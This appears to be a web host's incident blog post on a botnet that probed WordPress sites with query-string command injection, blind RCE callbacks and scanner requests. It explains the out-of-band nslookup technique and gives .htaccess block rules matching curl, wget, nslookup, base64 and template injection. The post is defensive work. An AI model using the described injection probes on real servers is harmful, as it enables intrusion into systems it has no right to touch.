When the Bots Come Back: How We Stopped an Evolving RCE Attack

When the Bots Come Back: How We Stopped an Evolving RCE Attack

Field Notes from 2026-03-06. One Amsterdam server, two days, two attack classes. The bots evolved overnight and gave themselves away with a 23-year-old user-agent string.

You might think that once you deploy bot protection rules, the problem is solved. We thought so too, for about 18 hours. Then the bots came back, and they had learned from their mistakes.

This is Part 2 of our bot protection story. If you have not read the first installment, How We Protect Our WordPress Sites from Bot Attacks is the place to start. This post covers what happened next: how an organized botnet evolved its attack strategy overnight, how we detected the shift in real time, and how we built a repeatable threat response playbook that now protects every site we host.

Day 1: the setup

On a Wednesday in early March, our Amsterdam server spiked to a load of 20.75, roughly ten times its normal operating level. A distributed botnet was hammering two government websites with POST requests using real-looking browser user agents to bypass our LiteSpeed cache layer. We deployed updated bot protection rules fleet-wide, blocking POST-based cache bypass, fake user agent signatures, and service discovery probes. Server load dropped from 20 to under 3 within minutes. Problem solved.

Until the next morning.

Day 2: when the bots came back

At 9:30 AM the following day, the same server spiked again. This time to a load of 14, roughly 14 times baseline. Our monitoring caught it immediately, and when we pulled up the access logs, we saw something different. The bots had adapted.

Day 1's attack used POST requests to bypass the cache. We had blocked POST requests with no referrer. So on Day 2, the attackers switched entirely to GET requests. But these were not ordinary page loads. They were injecting shell commands directly into URL query parameters, specifically targeting Gravity Forms field parameters that get passed through the URL.

Here is what the attack looked like in the access logs. Instead of normal form field values, the query strings carried commands like curl, nslookup, wget, and base64. Some requests included hex-encoded byte sequences. Others attempted Freemarker Server-Side Template Injection (SSTI), a technique where the attacker injects template expressions hoping the server will evaluate them and execute arbitrary code.

This was not a brute-force attack. This was methodical Remote Code Execution (RCE) probing by a sophisticated botnet.

What they were doing: blind RCE detection

The most telling detail was the callback domain. Dozens of requests included references to a domain used exclusively for blind RCE detection. The technique works in five steps:

  1. The bot injects a command like nslookup callback-domain.net into a query parameter
  2. If the server is vulnerable and actually executes the injected command, it performs a DNS lookup to the callback domain
  3. The attacker monitors DNS queries hitting that callback domain
  4. If a query arrives from your server's IP address, they know the server is vulnerable to command injection
  5. They then escalate to more dangerous payloads: data exfiltration, backdoor installation, cryptomining

This is called "out-of-band" detection. The attacker never sees the server's HTTP response. They do not need to. The callback itself is the signal. It is an elegant and dangerous technique, and it means every one of these probing requests was a test: can I run arbitrary commands on this machine?

The answer, for every site we manage, was no. WordPress and Gravity Forms do not evaluate query parameters as shell commands. But the bots do not know that upfront. They spray thousands of sites hoping to find one that is running a vulnerable plugin, a misconfigured PHP handler, or an exposed debugging endpoint.

The fingerprint that gave them away

While the Day 1 bots rotated through convincing modern browser user agents, the Day 2 botnet made a mistake: every request carried a Windows NT 5.2 user agent string. That is Windows Server 2003, an operating system released in 2003 and end-of-lifed in 2015.

Nobody is browsing the internet on Windows Server 2003 in 2026. Not a single legitimate user. This was a dead giveaway, a hardcoded user agent string in the bot's configuration that nobody had bothered to update since the botnet was originally built.

We catalog these fingerprints. They are free wins, patterns you can block with zero risk of affecting legitimate traffic. Over 120 unique IP addresses were sharing this exact same obsolete fingerprint, confirming this was a coordinated botnet, not scattered scanners.

The fix

With the attack pattern identified, we drafted two new rule categories for our bot protection template.

The first targets the obsolete operating system fingerprint. Any request claiming Windows XP or Windows Server 2003 (the NT 5.x family) gets blocked immediately. These operating systems cannot run any modern browser. If you see one in your access logs, it is a bot, full stop.

.htaccess (bot protection block) Block obsolete Windows user agents (NT 5.x)
+ RewriteCond %{HTTP_USER_AGENT} "Windows NT 5\." [NC]
+ RewriteRule .* - [F,L]

This single rule eliminated the majority of the Day 2 traffic.

The second rule category does pattern matching on query strings for known command injection signatures: curl, wget, nslookup, base64, hex-encoded bytes, Freemarker template expressions, backtick command substitution, and the specific callback domains being used for blind RCE detection.

.htaccess (bot protection block) Block command injection in query strings
+ RewriteCond %{QUERY_STRING} (curl|wget|nslookup|base64|\\x[0-9a-f]{2})[+%20] [NC,OR]
+ RewriteCond %{QUERY_STRING} freemarker\.template [NC,OR]
+ RewriteCond %{QUERY_STRING} \$\{.*\} [NC,OR]
+ RewriteCond %{QUERY_STRING} %60.*%60 [NC]
+ RewriteRule .* - [F,L]

The challenge with query string filtering is avoiding false positives. Legitimate form submissions, REST API calls, WooCommerce cart parameters, and WordPress admin operations all use query strings extensively. A poorly written rule here would break real functionality.

So before deploying a single rule to production, we ran our automated validation suite. It is a bank of curl commands that simulates both attack patterns and legitimate traffic. Every attack request must return HTTP 403. Every legitimate request (Chrome browser, WordPress REST API, WooCommerce cart, Gravity Forms submission, admin panel) must return HTTP 200 or the expected status. Every attack request returned 403. Every legitimate request returned 200. Only then did we proceed to production deployment.

From there, the rollout follows our standard threat response playbook: deploy to the affected site first with a backup, monitor access logs to confirm attack traffic is being blocked, then update the canonical template and deploy fleet-wide. Server load dropped from 14x normal to baseline within minutes. Nearly a quarter of all traffic to the affected site was malicious, and now returning 403 instantly. Fleet-wide rollout to six servers and 125 sites completed in under two hours. Zero failures. Zero client-reported issues.

Timeline

1
Wednesday · Day 1

Initial attack

Amsterdam server spikes to 20.75x load from POST-based cache bypass. Distributed botnet hits two government sites. Rules deployed fleet-wide; load drops to under 3 within minutes.

2
Thursday · 9:30 AM

The bots come back

Same server, load 14x. Attackers have switched from POST to GET. Query strings carry shell commands and blind-RCE callback domains. Within minutes, the new attack class is fully classified.

3
Thursday · 9:45 AM

The fingerprint

Over 120 unique IPs share the same Windows NT 5.2 user-agent string. Coordinated botnet, using a 23-year-old OS string nobody had updated. Two new rule categories drafted.

4
Thursday · 10:25 AM

Live and dropping

Test suite passes. Rules deployed to the affected site with a backup taken. Attack traffic returning 403. Load drops to baseline within five minutes.

5
Thursday · 11:30 AM

Fleet rollout

Two new rule categories deployed across six servers and 125 sites. Two hours from detection to fleet-wide resolution. Zero failures.

6
Days 3 to 5

The scanner probes arrive

A different attack class. Hundreds of unique IPs per wave probing for phpinfo.php, shell.php, archive files. New rule category added for vulnerability scanner filenames. Three consecutive daily waves; each one returns 403 before the server checks the filesystem.

Days 3 through 5: the scanner probes

The command injection attacks subsided, but the probing did not stop. Over the next three days, the same server experienced daily waves of a different type: vulnerability scanner probing. Instead of injecting shell commands, these bots were systematically requesting filenames that only exist on misconfigured or compromised servers.

The access logs showed hundreds of requests per wave for files like phpinfo.php, test.php, shell.php, pi.php, and temp.php. They also probed for archive files (.7z, .tar.gz), certificate files (.pem), database files (.mdb, .sqlite), and exposed configuration files (configs.json). Each wave came from 300 to 560 unique IP addresses, pushing CPU above 70% and server load to nearly 8x normal.

This is a different attack category from the RCE probing on Day 2. Where command injection tries to execute code, scanner probing is reconnaissance. The bots are looking for files that would reveal server configuration details, exposed credentials, or leftover development artifacts. A single phpinfo.php file can tell an attacker your exact PHP version, loaded extensions, server paths, environment variables, and sometimes even database credentials.

None of these files exist on any site we manage. But every request still consumed server resources. LiteSpeed had to process the rewrite rules, check the filesystem, and return a 404. Multiply that by thousands of requests from hundreds of IPs, and it adds up to a meaningful load.

So we added a third rule category to the bot protection template: scanner probe filename blocking. Any request for phpinfo.php, test.php, shell.php, or similar probe filenames now returns a 403 before the server even checks whether the file exists. Same for archive extensions, certificate files, and exposed database files. The fleet scan confirmed zero legitimate uses of any of these filenames across all 125 sites, making this a zero-risk, high-impact rule.

Rules iterate. The discipline is the testing pipeline.

The rule set described above is the version that stopped this attack. It is not the version that is deployed today, because every rule template iterates as legitimate traffic surfaces edge cases. A few examples from the months after this incident:

  • GoogleImageProxy exemption. Gmail's image proxy fetches with a hardcoded "Windows NT 5.1" user agent (one of the obsolete-OS patterns we block). Without an explicit exemption, every Gmail user previewing email from one of our client domains would silently miss the inline images.
  • Apple Mail Privacy Protection exemption. Apple's privacy proxy uses a bare "Mozilla/5.0" string when prefetching newsletter images. Without an exemption for static asset extensions (.png, .jpg, .webp, etc.), newsletter image preloads would fail. This is the kind of fix that quietly affects WordPress plugins like newsletter senders that rely on remote image fetches.
  • Payment webhook allowlist. Server-to-server webhooks from Stripe, PayPal IPN, EDD gateway listeners, Knit-Pay payment processors, Pronamic Pay, Easebuzz, and Gravity Forms Stripe all arrive as POST requests with no referrer (the exact pattern we block as a cache-bypass attack). Each one had to be explicitly exempted.

None of those exemptions existed in the rule set that stopped Day 2's RCE attack. They got added one at a time, after the testing pipeline (or, occasionally, a client-reported edge case) caught a legitimate request the rules were rejecting. That is the operating model. Rules are never finished; the discipline is how you find the next exemption before customers do.

What this taught us

A few things worth saying out loud, because they apply beyond this specific botnet.

Yesterday's rules do not stop today's attacks. On Day 1, the bots used POST-based cache bypass. We blocked it. On Day 2, they switched to GET-based command injection through query strings. The attack evolved in under 24 hours. Installing a security plugin and walking away is not security. It is a checkbox. Real protection requires someone watching, analyzing, and responding, continuously. The bots do not stop iterating, and your defenses cannot either.

Layered defense is what makes pivots expensive. Our bot protection template now covers six distinct layers: user agent filtering, URL/path blocking, method/referrer analysis, query string inspection, scanner probe filtering, and behavioral patterns. Block one technique, and the bots pivot to the next. With six layers working together, the cost of finding a bypass goes up exponentially.

Block at the web server, not at the application. All of these rules run before PHP loads, before WordPress boots, before any plugin gets a chance to process the request. A blocked bot consumes essentially zero server resources. That is why server load drops from 14x normal to baseline within minutes of deployment: hundreds of thousands of requests that were consuming PHP workers and database connections now get rejected with a lightweight 403 before they touch the application stack.

Free wins are real. A 23-year-old user-agent string. A callback domain only used for blind RCE detection. Probe filenames that exist on zero legitimate sites. These are patterns you can block with zero risk to real users. Catalog them. Reuse them. Every fingerprint added to the template hardens every site in the fleet.

One server's incident is the fleet's defense. When we identify a new bot fingerprint or write a new detection rule, it goes into the shared template and deploys across every site we host. The site that absorbs the attack is the one that improves protection for the rest. That compounding is the whole point of running a fleet. The same logic underpins our fleet-wide spam intelligence tooling and our fleet-wide email delivery monitor: one site's lesson becomes everyone's defense, but only if someone is actually reading the logs.

That observability is also how we caught six WordPress sites silently running without their object cache. Bot attacks announce themselves with traffic spikes; silent failures do not. Both fail the same way without the same operating discipline.

Is this you?

If your WordPress site sits behind a hosting plan that includes "security," three questions worth asking your host.

  1. When was the last time someone actually read your access logs, and what did they find? A WordPress firewall that fires alerts but no one reads them is the same as no firewall at all. The attack signal lives in the logs.
  2. Do you have an automated test suite that validates every rule change against legitimate traffic (REST API, WooCommerce, Gravity Forms, admin panel) before it ships? Aggressive rules can break real users. The way you find out before customers do is by testing every rule deployment against known-good request patterns.
  3. If a botnet pivots from POST to GET overnight, how long does it take your team to notice and respond? Hours? Days? Never? The half-life of an attack technique is measured in days, not weeks. Real protection means a same-day pivot when the attackers do.

If those questions get blank stares, you may want to keep looking.

Updated May 2, 2026

Share

The Author

Ryan Davis

Comments (0)

No comments yet. Be the first to comment!

Leave a Comment